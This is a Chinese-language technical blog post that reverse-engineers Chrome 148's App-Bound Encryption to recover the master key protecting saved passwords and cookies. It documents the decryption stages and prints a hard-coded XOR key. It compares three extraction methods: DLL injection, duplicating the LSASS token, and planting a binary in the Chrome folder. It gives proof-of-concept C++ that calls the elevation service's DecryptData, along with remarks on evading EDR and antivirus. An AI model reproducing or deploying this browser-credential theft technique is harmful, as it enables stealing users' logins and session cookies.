前言
想要解密Chrome保存的用户密码,Cookie等信息,就需要获得主密钥。该版本的Chrome解密主密钥延续了ChromeAppBound的机制,采取多阶段逐步校验解密。加密解密均由GoogleChromeElevationService服务提供,该服务是一个进程外的COM服务,提供了加密解密的接口。
- 阶段1:以SYSTEM身份进行DPAPI解密
- 阶段2:以登录的用户身份进行DPAPI解密
- 阶段3:验证客户端的路径
- 阶段4:AES-GCM解密
下面是具体阶段的分析。
版本:148.0.7778.97 x64位
源码分析
从Chromium官网中查看源码:
HRESULT Elevator::DecryptData(constBSTR ciphertext,BSTR*plaintext,DWORD*last_error){UINT length=::SysStringByteLen(ciphertext);if(!length)returnE_INVALIDARG;DATA_BLOB input={};input.cbData=length;input.pbData=reinterpret_cast<BYTE*>(ciphertext);DATA_BLOB intermediate={};// Decrypt using the SYSTEM dpapi store.if(!::CryptUnprotectData(&input,nullptr,nullptr,nullptr,nullptr,0,&intermediate)){*last_error=::GetLastError();returnkErrorCouldNotDecryptWithSystemContext;}base::win::ScopedLocalAllocintermediate_freer(intermediate.pbData);std::string plaintext_str;bool should_reencrypt=false;if(ScopedClientImpersonation impersonate;impersonate.is_valid()){DATA_BLOB output={};// Decrypt using the user store.if(!::CryptUnprotectData(&intermediate,nullptr,nullptr,nullptr,nullptr,0,&output)){*last_error=::GetLastError();returnkErrorCouldNotDecryptWithUserContext;}base::win::ScopedLocalAllocoutput_freer(output.pbData);std::stringmutable_plaintext(reinterpret_cast<char*>(output.pbData),output.cbData);conststd::string validation_data=PopFromStringFront(mutable_plaintext);if(validation_data.empty()){returnkErrorInvalidValidationData;}constautodata=std::vector<uint8_t>(validation_data.cbegin(),validation_data.cend());constautoprocess=GetCallingProcess();if(!process.IsValid()){*last_error=::GetLastError();returnkErrorCouldNotObtainCallingProcess;}// Note: Validation should always be done using caller impersonation token.HRESULT validation_result=ValidateData(process,data);if(FAILED(validation_result)){*last_error=::GetLastError();returnvalidation_result;}if(validation_result==kSuccessShouldReencrypt){should_reencrypt=true;}plaintext_str=PopFromStringFront(mutable_plaintext);}else{returnimpersonate.result();}#ifBUILDFLAG(GOOGLE_CHROME_BRANDING)InternalFlags flags;autopost_process_result=PostProcessData(plaintext_str,&flags);if(!post_process_result.has_value()){returnpost_process_result.error();}plaintext_str.swap(*post_process_result);if(flags.post_process_should_reencrypt){should_reencrypt=true;}#endif// BUILDFLAG(GOOGLE_CHROME_BRANDING)*plaintext=::SysAllocStringByteLen(plaintext_str.c_str(),plaintext_str.length());if(!*plaintext)returnE_OUTOFMEMORY;if(base::CommandLine::ForCurrentProcess()->HasSwitch(switches::kFakeReencryptForTestingSwitch)){should_reencrypt=true;}returnshould_reencrypt?kSuccessShouldReencrypt:S_OK;}从源码中很清晰的看到解密流程:
- 以SYSTEM身份进行一次DPAPI解密
- 以用户身份进行一次DPAPI解密
逆向分析
然而实践之后发现使用解密出的主密钥无法正确解密数据,显然不止有这么点东西。使用IDA去看elevation_service.exe才发现,事情没有这么简单。
第一阶段解密
进行了两次不同身份的DPAPI解密
得到的数据,这里记作dec_blob:
000001cc`699db740 20 00 00 00 03 00 43 3a-5c 50 72 6f 67 72 61 6d .....C:\Program 000001cc`699db750 20 46 69 6c 65 73 5c 47-6f 6f 67 6c 65 5c 43 68 Files\Google\Ch 000001cc`699db760 72 6f 6d 65 5d 00 00 00-03 dd 84 72 86 2e c2 42 rome]....݄r�.�B 000001cc`699db770 47 dc ed f8 05 d1 30 4c-a5 50 a4 64 89 92 43 17 G���.�0L�P�d��C. 000001cc`699db780 b3 12 fd 70 fd 0a 73 b1-5f c4 21 30 07 70 0c 25 �.�p�.s�_�!0.p.% 000001cc`699db790 e9 e2 c5 60 68 8f 99 35-88 81 a3 07 ca b0 38 46 ���`h..5..�.ʰ8F 000001cc`699db7a0 5f a6 3d 88 b6 b8 22 f7-97 08 88 99 a3 7d bd 46 _�=.��"��...�}�F 000001cc`699db7b0 b1 68 42 21 ba c1 60 ef-7b 8f c5 52 18 a4 cb be �hB!��`�{.�R.�˾ 000001cc`699db7c0 8a ed 5d a2 f3
客户端校验
验证客户端所在的路径,必须要在
C:\Program Files\Google\Chrome下。identifier是d e c _ b l o b [ 0 x 4 : 0 x 24 ] \textcolor{orange}{dec\_blob[0x4:0x24]}dec_blob[0x4:0x24]区间的数据,由f l a g + p a t h \textcolor{orange}{flag+path}flag+path组成。这里就是0x3和C:\Program Files\Google\Chrome。
获取客户端进程令牌的安全属性
第二阶段解密
进行KSP解密,期间检查d e c _ b l o b [ 0 x 25 : 0 x 28 ] \textcolor{orange}{dec\_blob[0x25:0x28]}dec_blob[0x25:0x28]的DWORD值是否为3
解密d e c _ b l o b [ 0 x 29 : 0 x 48 ] \textcolor{orange}{dec\_blob[0x29:0x48]}dec_blob[0x29:0x48]的数据,得到的结果记为aes_key(因为后面分析发现会用此结果作为AES-GCM的解密密钥)。
对aes_key与硬编码进行单字节XOR
硬编码数据,共32字节:
00007ff6`10cfa7d8 cc f8 a1 ce c5 66 05 b8-51 75 52 ba 1a 2d 06 1c �����f.�QuR�.-.. 00007ff6`10cfa7e8 03 a2 9e 90 27 4f b2 fc-f5 9b a4 b7 5c 39 23 90 .��.'O������\9#.
第三阶段解密
使用AES-GCM解密d e c _ b l o b [ 0 x 49 : 84 ] \textcolor{orange}{dec\_blob[0x49:84]}dec_blob[0x49:84],得到最终的主密钥。
主密钥获取 - 一鱼三吃
第一吃(无需管理员)
原理是创建Chrome进程,然后注入DLL,由DLL去调用COM服务GoogleChromeElevationService的解密接口。已经有开源项目,但是需要修改,这里不再重复写了。项目详情见:参考[4]。
第二吃(需要管理员)
原理是模拟GoogleChromeElevationService的整个解密流程:
- 复制Lsass的Token,以便使用SYSTEM的身份进行DPAPI解密。注意:这一步需要管理员权限! \textcolor{BrickRed}{注意:这一步需要管理员权限!}注意:这一步需要管理员权限!
- 使用当前登录用户身份进行第二次DPAPI解密。
- 使用KSP解密AES-GCM的加密秘钥。
- 使用硬编码XOR再次解密AES-GCM的加密秘钥。
- 使用AES-GCM解密得到最终的主密钥。
也有开源项目,详见:参考[3]。
第三吃(需要管理员)
这是本篇文章重点要说的
原理步骤:
- 编写一个请求GoogleChromeElevationService服务的程序A,直接调用其解密接口。
- 将程序A复制到目录
C:\Program Files\Google\Chrome下。注意:这一步需要管理员权限! \textcolor{BrickRed}{注意:这一步需要管理员权限!}注意:这一步需要管理员权限! - 运行Chrome目录下的A。
这里只给出概念验证的源码,不提供完整项目,拒绝脚本小子!自己考虑免杀!
// IElevator2Chrome.hDEFINE_GUID(IID_IElevatorChrome,0x463abecf,0x410d,0x407f,0x8a,0xf5,0x0d,0xf3,0x5a,0x00,0x5c,0xc8);enumProtectionLevel{PROTECTION_NONE=0,PROTECTION_PATH_VALIDATION_OLD=1,PROTECTION_PATH_VALIDATION=2,PROTECTION_PATH_VALIDATION_WITH_ISOLATION=3,PROTECTION_MAX=4,};interface IElevator2Chrome:public IUnknown{public:/** * ?? CRX ?????? * @param crx_path CRX ???? * @param browser_appid ??????? ID * @param browser_version ????? * @param session_id ?? ID * @param caller_proc_id ???? ID * @param proc_handle ???????? * @return HRESULT */virtual HRESULT STDMETHODCALLTYPERunRecoveryCRXElevated(/* [in] */BSTR crx_path,/* [in] */BSTR browser_appid,/* [in] */BSTR browser_version,/* [in] */BSTR session_id,/* [in] */UINT caller_proc_id,/* [out] */ULONG64*proc_handle)=0;/** * ???? * @param protection_level ???? * @param plaintext ????? * @param ciphertext ???????? * @param last_error ????????? * @return HRESULT */virtual HRESULT STDMETHODCALLTYPEEncryptData(/* [in] */ProtectionLevel protection_level,/* [in] */BSTR plaintext,/* [out] */BSTR*ciphertext,/* [out] */UINT32*last_error)=0;/** * ???? * @param ciphertext ????? * @param plaintext ???????? * @param last_error ????????? * @return HRESULT */virtual HRESULT STDMETHODCALLTYPEDecryptData(/* [in] */BSTR ciphertext,/* [out] */BSTR*plaintext,/* [out] */UINT32*last_error)=0;// More...};// ChromeMasterKeyFetchV20.hclass ChromeMasterKeyFetchV20{public:std::vector<uint8_t>get(conststd::wstring&master_key_path=L"")override{constGUID guid_chrome_elevator={0x708860e0,0xf641,0x4611,{0x88,0x95,0x7d,0x86,0x7d,0xd3,0x67,0x5b}};std::vector<uint8_t>result;try{uint32_terror=0;autoenc_master_key=get_encrypted_master_key(master_key_path.empty()?get_master_key_path():master_key_path);CComPtr<IElevator2Chrome>pElevatorChrome;autohr=::CoCreateInstance(guid_chrome_elevator,nullptr,CLSCTX_LOCAL_SERVER,IID_PPV_ARGS(&pElevatorChrome));if(FAILED(hr)||!pElevatorChrome)throw std::runtime_error("Failed to create IElevatorChrome instance.");// 必须设置代理权限,否则会出现DRM_E_LIC_CHAIN_TOO_DEEP错误hr=::CoSetProxyBlanket(pElevatorChrome,RPC_C_AUTHN_DEFAULT,RPC_C_AUTHZ_DEFAULT,COLE_DEFAULT_PRINCIPAL,RPC_C_AUTHN_LEVEL_PKT_PRIVACY,RPC_C_IMP_LEVEL_IMPERSONATE,NULL,EOAC_DYNAMIC_CLOAKING);if(FAILED(hr))throw std::runtime_error("Failed to set proxy blanket.");utils::UniquePtr<OLECHAR,decltype(&::SysFreeString)>dec_master_key(nullptr,::SysFreeString);utils::UniquePtr<OLECHAR,decltype(&::SysFreeString)>bstrCiphertext(SysAllocStringByteLen(reinterpret_cast<constchar*>(enc_master_key.data()+4),static_cast<UINT>(enc_master_key.size()-4)),::SysFreeString);hr=pElevatorChrome->DecryptData(bstrCiphertext.get(),&dec_master_key,&error);if(FAILED(hr)||!dec_master_key)throw std::runtime_error("Failed to decrypt master key.");result.resize(0x20);std::memcpy(result.data(),dec_master_key.get(),0x20);returnresult;}catch(conststd::exception&e){throw e;}}protected:// master_key_path: C:\Users\username\AppData\Local\Google\Chrome\User Data\Local Statestd::vector<uint8_t>get_encrypted_master_key(conststd::wstring&master_key_path){autoifKeyJson=std::ifstream(master_key_path,std::ios::in|std::ios::binary);if(!ifKeyJson.is_open())throw std::runtime_error("Failed to open master key file.");std::stringcontent((std::istreambuf_iterator<char>(ifKeyJson)),std::istreambuf_iterator<char>());autojsonContent=boost::json::parse(content).as_object();std::string encryptedKeyBase64=jsonContent.at("os_crypt").at("app_bound_encrypted_key").as_string().c_str();// ??base64??????std::size_tdecoded_size=boost::beast::detail::base64::decoded_size(encryptedKeyBase64.length());// ??vector???????base64??????std::vector<uint8_t>decodedKey(decoded_size,0);autoresult=boost::beast::detail::base64::decode(decodedKey.data(),encryptedKeyBase64.data(),encryptedKeyBase64.length());if(result.first==0)throw std::runtime_error("Failed to decode master key.");decodedKey.resize(result.first);returndecodedKey;}};注意:不同版本的 C h r o m e ,需要使用不同版本的 I E l e v a t o r C h r o m e 接口。本篇分析的 C h r o m e 用的是 I E l e v a t o r 2 C h r o m e 接口。 \textcolor{BrickRed}{注意:不同版本的Chrome,需要使用不同版本的IElevatorChrome接口。本篇分析的Chrome用的是IElevator2Chrome接口。}注意:不同版本的Chrome,需要使用不同版本的IElevatorChrome接口。本篇分析的Chrome用的是IElevator2Chrome接口。
测试
总结
三种方法各有优劣。方法1虽然不需要管理员权限,但是需要进行注入,这就比较考究注入的姿势了。但是常见的注入方式动作太大太明显,在某些EDR环境下容易暴露。
方法2虽然不用注入,但是需要管理员权限,而且需要复制LSASS进程的令牌。一方面,LSASS进程是很敏感的,在某些EDR下面也是看守的很紧,容易触发告警;另一方面,不同版本的Chrome解密的算法不同,这就需要进行大量的维护,不太适用。
方法3算是一个比较折中的办法,需要管理员的权限也仅仅是为了能够将自身移动到限定的目录下。
参考
[1] https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc;l=94?q=PreProcessData&sq=&ss=chromium%2Fchromium%2Fsrc
[2] GitHub - xaitax/Chrome-App-Bound-Encryption-Decryption: Bypass Chromium’s App-Bound Encryption via Direct Syscall-based Reflective Process Hollowing. Extract cookies, passwords, payment methods & tokens from Chrome, Edge, Brave & Avast - fileless, user-mode, no admin required. · GitHub
[3] GitHub - runassu/chrome_v20_decryption: Chrome COOKIE v20 decryption PoC · GitHub
[4] GitHub - Maldev-Academy/DumpChromeSecrets: Extract data from modern Chrome versions, including refresh tokens, cookies, saved credentials, autofill data, browsing history, and bookmarks · GitHub